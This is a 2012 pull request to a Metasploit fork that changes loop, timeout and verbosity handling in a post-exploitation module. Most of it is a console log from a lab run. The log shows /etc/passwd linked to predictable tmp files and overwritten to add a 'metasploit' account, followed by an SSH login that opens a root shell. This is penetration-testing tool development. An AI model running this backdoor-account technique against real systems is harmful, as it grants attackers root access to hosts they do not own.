0a2940/metasploit-framework — pull request #1 by todb-r7 (2012-10-17 22:35:24+00:00)
Title: Loop management, timeouts, and verbosity

Add a todo for cred recording. Allow the user to determine when to give
up. Changes the `while true` to simply `loop`. Clear up some of the boolean
checks. Inform the user what's going on.

If you like these changes and agree, just land this pull request and rapid7/metasploit-framework#632 will be updated. If not, we can work it out. In any case, this should be enough to get this landed. By the way, it's great fun to use.

````
msf post(metasploit_pcaplog) > exploit

[*] Setting up the victim's /tmp dir
[*] /etc/passwd is currently 36 lines long
[*] Linking /etc/passwd to predictable tmp files (Attempt 1)
[*] Sending /etc/passwd file contents payload to 192.168.145.205
[*] Sending /etc/passwd file contents payload to 192.168.145.205
[*] Sending /etc/passwd file contents payload to 192.168.145.205
[*] Sending /etc/passwd file contents payload to 192.168.145.205
[*] Sending /etc/passwd file contents payload to 192.168.145.205
[*] Sending /etc/passwd file contents payload to 192.168.145.205
[+] Success. You should now be able to login or su to the 'metasploit' account
[*] Post module execution completed
msf post(metasploit_pcaplog) > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set username metasploit
username => metasploit
msf auxiliary(ssh_login) > set password metasploit
password => metasploit
msf auxiliary(ssh_login) > run

[*] 192.168.145.205:22 SSH - Starting bruteforce
[*] 192.168.145.205:22 SSH - [1/2] - Trying: username: 'metasploit' with password: ''
[-] 192.168.145.205:22 SSH - [1/2] - Failed: 'metasploit':''
[*] 192.168.145.205:22 SSH - [2/2] - Trying: username: 'metasploit' with password: 'metasploit'
[*] Command shell session 5 opened (192.168.145.1:48750 -> 192.168.145.205:22) at 2012-10-17 17:27:15 -0500
[+] 192.168.145.205:22 SSH - [2/2] - Success: 'metasploit':'metasploit' 'uid=0(root) gid=0(root) groups=0(root) Linux ubuntu 2.6.32-40-generic #87-Ubuntu SMP Mon Mar 5 20:26:31 UTC 2012 i686 GNU/Linux '
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
````